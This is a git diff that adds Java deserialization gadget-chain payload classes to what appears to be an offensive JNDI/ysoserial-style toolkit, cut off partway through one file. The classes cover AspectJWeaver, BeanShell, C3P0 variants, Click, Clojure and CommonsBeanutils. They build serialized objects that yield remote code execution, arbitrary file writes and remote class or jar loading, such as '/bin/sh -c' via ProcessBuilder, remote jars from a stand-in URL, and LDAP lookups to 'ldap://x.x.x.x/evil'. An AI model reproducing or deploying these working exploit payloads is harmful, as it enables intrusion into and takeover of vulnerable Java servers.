java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; + +/** +Gadget chain: +HashSet.readObject() + HashMap.put() + HashMap.hash() + TiedMapEntry.hashCode() + TiedMapEntry.getValue() + LazyMap.get() + SimpleCache$StorableCachingMap.put() + SimpleCache$StorableCachingMap.writeToPath() + FileOutputStream.write() + +Usage: +args = ";" +Example: +java -jar ysoserial.jar AspectJWeaver "ahi.txt;YWhpaGloaQ==" + +More information: +https://medium.com/nightst0rm/t%C3%B4i-%C4%91%C3%A3-chi%E1%BA%BFm-quy%E1%BB%81n-%C4%91i%E1%BB%81u-khi%E1%BB%83n-c%E1%BB%A7a-r%E1%BA%A5t-nhi%E1%BB%81u-trang-web-nh%C6%B0-th%E1%BA%BF-n%C3%A0o-61efdf4a03f5 + */ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) +@Authors({ Authors.JANG }) + +public class AspectJWeaver implements ObjectPayload { + + public Serializable getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + String[] parts = command.split(":"); + String filename = parts[0]; + byte[] content = Base64.decodeBase64(parts[1]); + + Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); + Object simpleCache = ctor.newInstance(".", 12); + Transformer ct = new ConstantTransformer(content); + Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); + TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); + HashSet map = new HashSet(1); + map.add("nu1r"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + Reflections.setAccessible(f); + HashMap innimpl = (HashMap) f.get(map); + + Field f2; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + Reflections.setAccessible(f2); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if (node == null) { + node = array[1]; + } + + Field keyField; + try { + keyField = node.getClass().getDeclaredField("key"); + } catch (Exception e) { + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + Reflections.setAccessible(keyField); + keyField.set(node, entry); + + return map; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver2.java b/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver2.java new file mode 100644 index 00000000..df390263 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/AspectJWeaver2.java @@ -0,0 +1,89 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.commons.codec.binary.Base64; +import org.apache.commons.collections.Factory; +import org.apache.commons.collections.Transformer; +import org.apache.commons.collections.functors.ConstantFactory; +import org.apache.commons.collections.functors.FactoryTransformer; +import org.apache.commons.collections.keyvalue.TiedMapEntry; +import org.apache.commons.collections.map.LazyMap; + +import java.io.Serializable; +import java.lang.reflect.Constructor; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.HashSet; +import java.util.Map; + +/** + * 使用 ConstantFactory + FactoryTransformer 替换 ConstantTransformer,避免,类似本项目中的 CC10 + * + */ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.aspectj:aspectjweaver:1.9.2", "commons-collections:commons-collections:3.2.2"}) +public class AspectJWeaver2 implements ObjectPayload{ + + @Override + public Serializable getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + int sep = command.lastIndexOf(';'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: ;"); + } + String[] parts = command.split(";"); + String filename = parts[0]; + byte[] content = Base64.decodeBase64(parts[1]); + + Constructor ctor = Reflections.getFirstCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); + Object simpleCache = ctor.newInstance(".", 12); + + Factory ft = new ConstantFactory(content); + Transformer ct = new FactoryTransformer(ft); + + Map lazyMap = LazyMap.decorate((Map) simpleCache, ct); + TiedMapEntry entry = new TiedMapEntry(lazyMap, filename); + HashSet map = new HashSet(1); + map.add("nu1r"); + Field f = null; + try { + f = HashSet.class.getDeclaredField("map"); + } catch (NoSuchFieldException e) { + f = HashSet.class.getDeclaredField("backingMap"); + } + + Reflections.setAccessible(f); + HashMap innimpl = (HashMap) f.get(map); + + Field f2 = null; + try { + f2 = HashMap.class.getDeclaredField("table"); + } catch (NoSuchFieldException e) { + f2 = HashMap.class.getDeclaredField("elementData"); + } + + Reflections.setAccessible(f2); + Object[] array = (Object[]) f2.get(innimpl); + + Object node = array[0]; + if (node == null) { + node = array[1]; + } + + Field keyField = null; + try { + keyField = node.getClass().getDeclaredField("key"); + } catch (Exception e) { + keyField = Class.forName("java.util.MapEntry").getDeclaredField("key"); + } + + Reflections.setAccessible(keyField); + keyField.set(node, entry); + + return map; + + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/BeanShell1.java b/src/main/java/com/qi4l/jndi/gadgets/BeanShell1.java new file mode 100644 index 00000000..90953936 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/BeanShell1.java @@ -0,0 +1,38 @@ +package com.qi4l.jndi.gadgets; + +import bsh.Interpreter; +import bsh.XThis; +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.beanshell.BeanShellUtil; + +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Proxy; +import java.util.*; + +/** + * Credits: Alvaro Munoz (@pwntester) and Christian Schneider (@cschneider4711) + */ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.beanshell:bsh:2.0b5"}) +@Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) +public class BeanShell1 implements ObjectPayload { + + public PriorityQueue getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + String payload = BeanShellUtil.makeBeanShellPayload(command); + Interpreter i = new Interpreter(); + i.eval(payload); + XThis xt = new XThis(i.getNameSpace(), i); + InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = {Integer.valueOf(1), Integer.valueOf(1)}; + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", Integer.valueOf(2)); + return priorityQueue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/C3P0.java b/src/main/java/com/qi4l/jndi/gadgets/C3P0.java new file mode 100644 index 00000000..b808fc55 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/C3P0.java @@ -0,0 +1,95 @@ +package com.qi4l.jndi.gadgets; + +import java.io.PrintWriter; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; + +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.enumtypes.PayloadType; +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; + +/** + * com.sun.jndi.rmi.registry.RegistryContext->lookup + * com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized->getObject + * com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase->readObject + *

+ * Arguments: + * - base_url:classname + *

+ * Yields: + * - Instantiation of remotely loaded class + * + * @author mbechler + */ + +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11"}) +@Authors({Authors.MBECHLER}) +public class C3P0 implements ObjectPayload { + public Object getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String className; + + private final String url; + + public PoolSource(String className, String url) { + this.className = className; + this.url = url; + } + + public Reference getReference() throws NamingException { + return new Reference("exploit", this.className, this.url); + } + + public PrintWriter getLogWriter() throws SQLException { + return null; + } + + public void setLogWriter(PrintWriter out) throws SQLException { + } + + public void setLoginTimeout(int seconds) throws SQLException { + } + + public int getLoginTimeout() throws SQLException { + return 0; + } + + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return null; + } + + public PooledConnection getPooledConnection() throws SQLException { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) throws SQLException { + return null; + } + + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/C3P02.java b/src/main/java/com/qi4l/jndi/gadgets/C3P02.java new file mode 100644 index 00000000..52a7fafb --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/C3P02.java @@ -0,0 +1,77 @@ +package com.qi4l.jndi.gadgets; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.naming.ResourceRef; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.naming.StringRefAddr; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.PrintWriter; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + +/** + * C3P02 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 + */ + +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35"}) +public class C3P02 implements ObjectPayload{ + + public Object getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String cmd; + + public PoolSource(String cmd) { + this.cmd = cmd; + } + + public Reference getReference() throws NamingException { + ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "nu1r=eval")); + ref.add(new StringRefAddr("nu1r", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','" + cmd + "']).start()\")")); + return ref; + } + + public PrintWriter getLogWriter() throws SQLException { + return null; + } + + public void setLogWriter(PrintWriter out) throws SQLException { + } + + public void setLoginTimeout(int seconds) throws SQLException { + } + + public int getLoginTimeout() throws SQLException { + return 0; + } + + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return null; + } + + public PooledConnection getPooledConnection() throws SQLException { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) throws SQLException { + return null; + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/C3P03.java b/src/main/java/com/qi4l/jndi/gadgets/C3P03.java new file mode 100644 index 00000000..424f8a6b --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/C3P03.java @@ -0,0 +1,78 @@ +package com.qi4l.jndi.gadgets; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.naming.ResourceRef; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.naming.StringRefAddr; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.PrintWriter; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + +/** + * 同 C3P0 2 只不过使用了 Groovy + */ + +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.codehaus.groovy:groovy:2.3.9"}) +public class C3P03 implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(command)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String cmd; + + public PoolSource(String cmd) { + this.cmd = cmd; + } + + public Reference getReference() throws NamingException { + ResourceRef ref = new ResourceRef("groovy.lang.GroovyShell", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "nu1r=evaluate")); + ref.add(new StringRefAddr("nu1r", "'" + cmd + "'.execute()")); + return ref; + } + + public PrintWriter getLogWriter() throws SQLException { + return null; + } + + public void setLogWriter(PrintWriter out) throws SQLException { + } + + public void setLoginTimeout(int seconds) throws SQLException { + } + + public int getLoginTimeout() throws SQLException { + return 0; + } + + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return null; + } + + public PooledConnection getPooledConnection() throws SQLException { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) throws SQLException { + return null; + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/C3P04.java b/src/main/java/com/qi4l/jndi/gadgets/C3P04.java new file mode 100644 index 00000000..423cb355 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/C3P04.java @@ -0,0 +1,156 @@ +package com.qi4l.jndi.gadgets; + +import com.mchange.v2.c3p0.PoolBackedDataSource; +import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase; +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.HexUtils; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.SnakeYamlUtils; +import org.apache.naming.ResourceRef; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.naming.StringRefAddr; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.IOException; +import java.io.PrintWriter; +import java.nio.file.Files; +import java.nio.file.Paths; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + +/** + * 同上 只不过使用了 snakeyaml + * 加了一些常见的 Gadget,有点套娃的感觉了 + *

+ * 用法: + * 远程加载 Jar 包 + * C3P04 'remoteJar-http://1.1.1.1.com/1.jar' + *

+ * 向服务器写入 Jar 包并加载(不出网) + * C3P04 'writeJar-/tmp/evil.jar:./yaml.jar' + * C3P04 'localJar-./yaml.jar' + *

+ * C3P0 二次反序列化 + * C3P04 'c3p0Double-/usr/CC6.ser' + *

+ * C3P0 JNDI 以及 JdbcRowSetImpl JNDI + * C3P04 'c3p0Jndi-ldap://x.x.x.x/evil' + * C3P04 'jndi-ldap://x.x.x.x/evil' + */ + +@Dependencies({"com.mchange:c3p0:0.9.5.2", "com.mchange:mchange-commons-java:0.2.11", "org.apache:tomcat:8.5.35", "org.yaml:snakeyaml:1.30"}) +public class C3P04 implements ObjectPayload { + public Object getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + int sep = command.lastIndexOf('-'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String[] parts = command.split("-"); + PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class); + Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(parts[0], parts[1])); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private final String cmd; + + private final String type; + + public PoolSource(String type, String cmd) { + this.type = type; + this.cmd = cmd; + } + + public Reference getReference() throws NamingException { + + String yaml = ""; + + switch (type) { + case "remoteJar": + yaml = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"" + cmd + "\"]\n" + + " ]]\n" + + "]"; + break; + case "localJar": + yaml = "!!javax.script.ScriptEngineManager [\n" + + " !!java.net.URLClassLoader [[\n" + + " !!java.net.URL [\"file://" + cmd + "\"]\n" + + " ]]\n" + + "]"; + break; + case "writeJar": + String[] parts = cmd.split(":"); + try { + yaml = SnakeYamlUtils.createPoC(parts[0], parts[1]); + } catch (Exception e) { + throw new RuntimeException(e); + } + break; + case "c3p0Double": + try { + byte[] data = HexUtils.toByteArray(Files.newInputStream(Paths.get(cmd))); + String hexString = HexUtils.bytesToHexString(data, data.length); + yaml = "!!com.mchange.v2.c3p0.WrapperConnectionPoolDataSource\n" + + "userOverridesAsString: HexAsciiSerializedMap:" + hexString + ";"; + } catch (IOException e) { + throw new RuntimeException(e); + } + break; + case "c3p0Jndi": + yaml = "!!com.mchange.v2.c3p0.JndiRefForwardingDataSource\n" + + "jndiName: " + cmd + "\n" + + "loginTimeout: 0"; + break; + case "jndi": + yaml = "!!com.sun.rowset.JdbcRowSetImpl\n" + + "dataSourceName: " + cmd + "\n" + + "autoCommit: true"; + break; + + } + + ResourceRef ref = new ResourceRef("org.yaml.snakeyaml.Yaml", null, "", "", + true, "org.apache.naming.factory.BeanFactory", null); + ref.add(new StringRefAddr("forceString", "nu1r=load")); + ref.add(new StringRefAddr("nu1r", yaml)); + return ref; + } + + public PrintWriter getLogWriter() throws SQLException { + return null; + } + + public void setLogWriter(PrintWriter out) throws SQLException { + } + + public void setLoginTimeout(int seconds) throws SQLException { + } + + public int getLoginTimeout() throws SQLException { + return 0; + } + + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return null; + } + + public PooledConnection getPooledConnection() throws SQLException { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) throws SQLException { + return null; + } + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/C3P092.java b/src/main/java/com/qi4l/jndi/gadgets/C3P092.java new file mode 100644 index 00000000..c26ee225 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/C3P092.java @@ -0,0 +1,101 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.SuClassLoader; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import javassist.ClassClassPath; +import javassist.ClassPool; +import javassist.CtClass; + +import javax.naming.NamingException; +import javax.naming.Reference; +import javax.naming.Referenceable; +import javax.sql.ConnectionPoolDataSource; +import javax.sql.PooledConnection; +import java.io.PrintWriter; +import java.sql.SQLException; +import java.sql.SQLFeatureNotSupportedException; +import java.util.logging.Logger; + + +/** + * C3P0 通过Tomcat 的 getObjectInstance 方法调用 ELProcessor 的 eval 方法实现表达式注入 + */ + +@Dependencies({"com.mchange:c3p0:0.9.2-pre2-RELEASE ~ 0.9.5-pre8", "com.mchange:mchange-commons-java:0.2.11"}) +@Authors({Authors.MBECHLER}) +public class C3P092 implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + int sep = command.lastIndexOf(':'); + if (sep < 0) { + throw new IllegalArgumentException("Command format is: :"); + } + + String url = command.substring(0, sep); + String className = command.substring(sep + 1); + + // 修改com.mchange.v2.c3p0.PoolBackedDataSource serialVerisonUID + + ClassPool pool = new ClassPool(); + pool.insertClassPath(new ClassClassPath(Class.forName("com.mchange.v2.c3p0.PoolBackedDataSource"))); + final CtClass ctPoolBackedDataSource = pool.get("com.mchange.v2.c3p0.PoolBackedDataSource"); + + Gadgets.insertField(ctPoolBackedDataSource, "serialVersionUID", "private static final long serialVersionUID = 7387108436934414104L;"); + + // mock method name until armed + final Class clsPoolBackedDataSource = ctPoolBackedDataSource.toClass(new SuClassLoader()); + + Object b = Reflections.createWithoutConstructor(clsPoolBackedDataSource); + Reflections.getField(clsPoolBackedDataSource, "connectionPoolDataSource").set(b, new PoolSource(className, url)); + return b; + } + + + private static final class PoolSource implements ConnectionPoolDataSource, Referenceable { + + private String className; + + private String url; + + public PoolSource(String className, String url) { + this.className = className; + this.url = url; + } + + public Reference getReference() throws NamingException { + return new Reference("exploit", this.className, this.url); + } + + public PrintWriter getLogWriter() throws SQLException { + return null; + } + + public void setLogWriter(PrintWriter out) throws SQLException { + } + + public void setLoginTimeout(int seconds) throws SQLException { + } + + public int getLoginTimeout() throws SQLException { + return 0; + } + + public Logger getParentLogger() throws SQLFeatureNotSupportedException { + return null; + } + + public PooledConnection getPooledConnection() throws SQLException { + return null; + } + + public PooledConnection getPooledConnection(String user, String password) throws SQLException { + return null; + } + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Click1.java b/src/main/java/com/qi4l/jndi/gadgets/Click1.java new file mode 100644 index 00000000..3fc9efae --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Click1.java @@ -0,0 +1,86 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import org.apache.click.control.Column; +import org.apache.click.control.Table; + +import java.math.BigInteger; +import java.util.Comparator; +import java.util.PriorityQueue; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +/** + * Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue(). + * We use java.util.PriorityQueue to trigger ColumnComparator.compare(). + * After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection. + *

+ * Chain: + *

+ * java.util.PriorityQueue.readObject() + * java.util.PriorityQueue.heapify() + * java.util.PriorityQueue.siftDown() + * java.util.PriorityQueue.siftDownUsingComparator() + * org.apache.click.control.Column$ColumnComparator.compare() + * org.apache.click.control.Column.getProperty() + * org.apache.click.control.Column.getProperty() + * org.apache.click.util.PropertyUtils.getValue() + * org.apache.click.util.PropertyUtils.getObjectPropertyValue() + * java.lang.reflect.Method.invoke() + * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() + * ... + *

+ * Arguments: + * - command to execute + *

+ * Yields: + * - RCE via TemplatesImpl.getOutputProperties() + *

+ * Requires: + * - Apache Click + * - servlet-api of any version + *

+ * by @artsploit + */ + +@SuppressWarnings({"rawtypes", "unchecked"}) +@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"}) +@Authors({Authors.ARTSPLOIT}) +public class Click1 implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + // prepare a Column.comparator with mock values + final Column column = new Column("lowestSetBit"); + column.setTable(new Table()); + Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column); + + // create queue with numbers and our comparator + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + // switch method called by the comparator, + // so it will trigger getOutputProperties() when objects in the queue are compared + column.setName("outputProperties"); + + // finally, we inject and new TemplatesImpl object into the queue, + // so its getOutputProperties() method will be called + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + final Object template; + if (JYsoMode.contains("yso")) { + template = GadgetsYso.createTemplatesImpl(param[0]); + } else { + template = Gadgets.createTemplatesImpl(type, param); + } + queueArray[0] = template; + return queue; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/Clojure.java b/src/main/java/com/qi4l/jndi/gadgets/Clojure.java new file mode 100644 index 00000000..43bc09e1 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/Clojure.java @@ -0,0 +1,52 @@ +package com.qi4l.jndi.gadgets; + +import clojure.core$comp; +import clojure.core$constantly; +import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; +import clojure.lang.PersistentArrayMap; +import clojure.main$eval_opt; +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.clojure.ClojureUtil; + +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.jndi.gadgets.annotation.Authors.JACKOFMOSTTRADES; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * HashMap.readObject() + * AbstractTableModel$ff19274a.hashCode() + * clojure.core$comp$fn__4727.invoke() + * clojure.core$constantly$fn__4614.invoke() + * clojure.main$eval_opt.invoke() + *

+ * Requires: + * org.clojure:clojure + * Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions + */ + +@Dependencies({"org.clojure:clojure:1.8.0"}) +@Authors({JACKOFMOSTTRADES}) +public class Clojure implements ObjectPayload>{ + + public Map getObject(PayloadType type, String... param) throws Exception { + String command = param[0]; + String clojurePayload = ClojureUtil.makeClojurePayload(command); + Map fnMap = new HashMap<>(); + fnMap.put("hashCode", (new core$constantly()).invoke(0)); + AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); + model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); + HashMap targetMap = new HashMap<>(); + targetMap.put(model, null); + fnMap.put("hashCode", (new core$comp()) + .invoke(new main$eval_opt(), (new core$constantly()) + .invoke(clojurePayload))); + model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); + return targetMap; + } + +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1.java new file mode 100644 index 00000000..4e8c92c4 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1.java @@ -0,0 +1,42 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Authors; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import com.qi4l.jndi.gadgets.utils.Serializer; +import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler; +import org.apache.commons.beanutils.BeanComparator; + +import java.io.ByteArrayOutputStream; +import java.util.Arrays; +import java.util.PriorityQueue; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; + +@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"}) +@Authors({Authors.FROHOFF}) +public class CommonsBeanutils1 implements ObjectPayload { + + public Object getObject(PayloadType type, String... param) throws Exception { + final Object template; + if (JYsoMode.contains("yso")) { + template = GadgetsYso.createTemplatesImpl(param[0]); + } else { + template = Gadgets.createTemplatesImpl(type, param); + } + final BeanComparator comparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER); + + final PriorityQueue queue = new PriorityQueue(2, comparator); + queue.add("1"); + queue.add("1"); + + Reflections.setFieldValue(comparator, "property", "outputProperties"); + Reflections.setFieldValue(queue, "queue", new Object[]{template, template}); + + return queue; + } +} diff --git a/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1183NOCC.java b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1183NOCC.java new file mode 100644 index 00000000..b46b4dd4 --- /dev/null +++ b/src/main/java/com/qi4l/jndi/gadgets/CommonsBeanutils1183NOCC.java @@ -0,0 +1,47 @@ +package com.qi4l.jndi.gadgets; + +import com.qi4l.jndi.enumtypes.PayloadType; +import com.qi4l.jndi.gadgets.annotation.Dependencies; +import com.qi4l.jndi.gadgets.utils.Gadgets; +import com.qi4l.jndi.gadgets.utils.GadgetsYso; +import com.qi4l.jndi.gadgets.utils.Reflections; +import javassist.ClassPool; +import javassist.CtClass; +import org.apache.commons.beanutils.BeanComparator; + +import java.util.PriorityQueue; + +import static com.qi4l.jndi.Starter.JYsoMode; +import static com.qi4l.jndi.Starter.cmdLine; +import static com.qi4l.jndi.gadgets.utils.InjShell.insertField; + +@Dependencies({"commons-beanutils:commons-beanutils:1.8.3"}) +public class CommonsBeanutils1183NOCC implements ObjectPayload { + + @Override + public Object getObject(PayloadType type, String... param) throws Exception { + final Object template; + if (JYsoMode.contains("yso")) { + template = GadgetsYso.createTemplatesImpl(param[0]); + } else { + template = Gadgets.createTemplatesImpl(type, param); + } + ClassPool pool = 